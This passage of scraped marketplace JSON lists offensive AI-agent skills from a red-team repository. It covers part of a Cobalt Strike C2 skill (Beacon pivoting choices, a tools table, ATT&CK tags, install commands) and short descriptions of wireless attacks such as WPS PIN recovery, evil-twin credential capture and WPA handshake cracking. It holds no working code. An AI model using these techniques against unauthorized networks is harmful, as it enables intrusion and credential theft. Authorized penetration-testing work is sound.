acceptable for speed\n│   └── Default artifact kit may suffice\n└── INTERNAL PIVOT (post-initial-access)\n    ├── SMB Beacon for peer-to-peer chaining\n    ├── TCP bind Beacon for segmented networks\n    └── Named pipe customization required\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Cobalt Strike | Adversary simulation platform | https:\u002F\u002Fwww.cobaltstrike.com\u002F |\n| Arsenal Kit | Source-level CS customization | Included with CS license |\n| c2lint | Malleable profile validator | Included with CS |\n| Malleable-C2-Profiles | Community profile repo | https:\u002F\u002Fgithub.com\u002Frsmudge\u002FMalleable-C2-Profiles |\n| BOF.NET | .NET BOF execution | https:\u002F\u002Fgithub.com\u002FCCob\u002FBOF.NET |\n| CS-Situational-Awareness-BOF | Recon BOFs | https:\u002F\u002Fgithub.com\u002Ftrustedsec\u002FCS-Situational-Awareness-BOF |\n| Cobalt Strike Community Kit | Community extensions | https:\u002F\u002Fcobalt-strike.github.io\u002Fcommunity_kit\u002F |\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"c2, cobalt-strike, beacon, malleable-c2, process-injection, listener, opsec","command-and-control","Cobalt Strike, beacon, malleable c2, aggressor, teamserver, cobalt strike listener, arsenal kit","T1071.001, T1573.001, T1095, T1572","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-cobalt-strike","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill c2-cobalt-strike",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill c2-cobalt-strike",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill c2-cobalt-strike","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-cobalt-strike\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]